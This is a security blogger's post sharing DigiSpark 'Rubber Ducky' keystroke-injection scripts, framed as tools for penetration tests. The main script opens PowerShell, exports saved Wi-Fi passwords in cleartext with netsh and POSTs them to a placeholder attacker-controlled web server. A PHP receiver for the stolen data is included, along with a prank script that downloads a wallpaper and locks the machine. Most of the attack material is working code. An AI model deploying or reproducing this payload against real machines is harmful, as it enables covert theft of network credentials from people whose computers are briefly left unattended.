Ultimate Rubber Ducky Scripts

Ultimate Rubber Ducky Scripts

When playing around with Rubber Ducky scripts for use in cyber security consultations or pen tests, I discovered there’s A LOT of data exfiltration scripts out there but I have some fundamental concerns about the scripts that I can’t get past:

  • The scripts generally send captured sensitive data such as Wi-Fi passwords, local password hashes, etc. unencrypted via an unencrypted channel (email).
  • Should one of the devices be examined, the password of the email account used to send the emails (the SMTP credentials) can be retrieved by anyone, potentially exposing A LOT more sensitive data.

I felt I can’t use a tool when I’m helping a customer to bolster their security that actually adds risks!

The Solutions

With that in mind, what I wanted was a deposit box stype solution where data can be ‘dropped’ in (written) but not read.  The obvious candidate was a simple form POST over HTTPS to a web server that I control, at which point I can do whatever I prefer with the data (add to a database, drop in to a secure AWS S3 bucket, etc.).

There are a few different form POST methods but the key decision was whether or not to include attachments, for now I have opted for the solution without attachments but will likely add a section to this document later covering that too.

Submitting captured WiFi network data to a webserver with POST

Firstly, we need to grab the data and used a POST request to submit it to our webserver, here’s a script for an DigiSpark ATTINY85 based Rubber Ducky which grabs the users saved Wi-Fi passwords and send them (modified to work with UK keyboards):

DigiKeyboard.sendKeyStroke(0); // Calling the sendKeyStroke(0) to flush any inflight keystrokes
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //Windows Key + R to open run dialog box
DigiKeyboard.delay(500); // Wait half a second (500ms)
DigiKeyboard.print("powershell"); // run Powershell
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000); // Wait 4 seconds (4000ms) for the Powershell to load
DigiKeyboard.print("mkdir DuckRecon"); // Make folder for recon data
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("cd DuckRecon"); // Enter folder for recon data
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("netsh wlan export profile key=clear"); // Export saved Wi-Fi configurations to XML files
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(50); // Wait 1 tenth a second (50ms)
DigiKeyboard.print("Get-Content *.xml ");
DigiKeyboard.sendKeyStroke(100,MOD_SHIFT_LEFT); // SEND PIPE Symbol
DigiKeyboard.print(" Set-Content wificonfigs.txt"); // Merge all the saved Wi-Fi configurations in to a single text file
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(50); // Wait 1 tenth a second (50ms)
DigiKeyboard.print("$wificonfigs = Get-Content wificonfigs.txt -Raw"); // Load the merged text file in to a variable
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(50); // Wait 1 tenth a second (50ms)
DigiKeyboard.print("$destinationWebPage = 'https://MYSECUREWEBSERVER/duckyDropScript.php'"); // Prepare the data for the form submission
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("$formPostParameters = ");
DigiKeyboard.sendKeyStroke(52,MOD_SHIFT_LEFT); // Send @ Symbol
DigiKeyboard.print("{wificonfigs=$wificonfigs,simpletoken=kyui34ijkjdf98j23jen089q}");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("Invoke-WebRequest -Uri $destinationWebPage -Method POST -Body $formPostParameters"); // Submit the form data to the web page defined
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000); // Wait 2 seconds (2000ms)
DigiKeyboard.print("clear"); 
DigiKeyboard.sendKeyStroke(KEY_ENTER);

Now that we have a Powershell script to send our captured data, we need something to received it at the other end.  There are LOTS of options for this depending on your preferrred technology but in something like PHP, it can be as simple as:

if($_POST['simpletoken']=='kyui34ijkjdf98j23jen089q'){
    $wifiConfigTxt = "<h2>WiFi Recon Data from ".$_SERVER['REMOTE_ADDR']."</h2>";
    $wifiConfigTxt .= htmlentities($_POST['wificonfigs']);


//SECURELY SAVE THE CAPTURED WIFI CONFIG SOMEWHERE OR ENCRYPT IT BEFORE EMAILING

}

This allows our Ducky Script to transmit the sensitive data via HTTPS and gives us the flexibility to change what we do with that data without having reprogram the rubbery ducky’s each time too.  While we can’t stop someone that has found one of the ducky’s from posting their own data to our deposit box, we’ve provided a reasonable layer of protection from someone pushing data in to it that happens to ‘find’ the endpoint by implementing a simple token requirement.

Set Hoff Wallpaper on target machine

This script downloads a wallpaper image of David Hasslehoff warning of the dangers of leaving your machine unlocked and sets it as the wallpaper before locking the machine:

// Import the DigiKeyboard library to allow the board to mimic a keyboard
#include "DigiKeyboard.h"

void setup() {
// Don't need to set anything up to use DigiKeyboard
}

void loop() {
DigiKeyboard.sendKeyStroke(0); // Calling the sendKeyStroke(0) to flush any inflight keystrokes
DigiKeyboard.delay(500); // Wait half a second (500ms)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //Windows Key + R to open run dialog box
DigiKeyboard.delay(1000); // Wait a second (1000ms)
DigiKeyboard.print("mspaint"); // run Microsoft Paint
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(4000); // Wait 4 seconds (4000ms) for the mspaint to load
DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); //ALT + F to open file menu
DigiKeyboard.delay(333); // Wait a third of a second 333ms)
DigiKeyboard.sendKeyStroke(KEY_O); //O for Open
DigiKeyboard.print("https://seguro.ltd/downloads/hofflockv1.jpg"); // download thehoff.jpg file
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(4000); // Wait 3 seconds (3000ms) for the image to download
DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); //ALT + F to open file menu
DigiKeyboard.delay(500); // Wait half a second (500ms)
DigiKeyboard.sendKeyStroke(KEY_B); //B for the Set as Background option
DigiKeyboard.delay(1000); // Wait a second (1000ms)
DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); //ALT + F to open file menu
DigiKeyboard.delay(500); // Wait half a second (500ms)
DigiKeyboard.sendKeyStroke(KEY_X); //X for Close
DigiKeyboard.delay(500); // Wait half a second (500ms)
DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT); //Lock the computer now we're finished
int i =500; //Define i to set number of LED flashes
while (i > 0) { //Now flash the LED (i) times to show ourscript completed
i--;
digitalWrite(0, HIGH);
digitalWrite(1, HIGH);
delay(500);
digitalWrite(0, LOW);
digitalWrite(1, LOW);
delay(500);
}

exit(0); //Exit the loop to prevent it running again.
}
Bob McKay

About Bob McKay

Bob is a Founder of Seguro Ltd, a full time father and husband, part-time tinkerer-with-wires, coder, Muay Thai practitioner, builder and cook. Big fan of equality, tolerance and co-existence.

Disclosure Policy

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.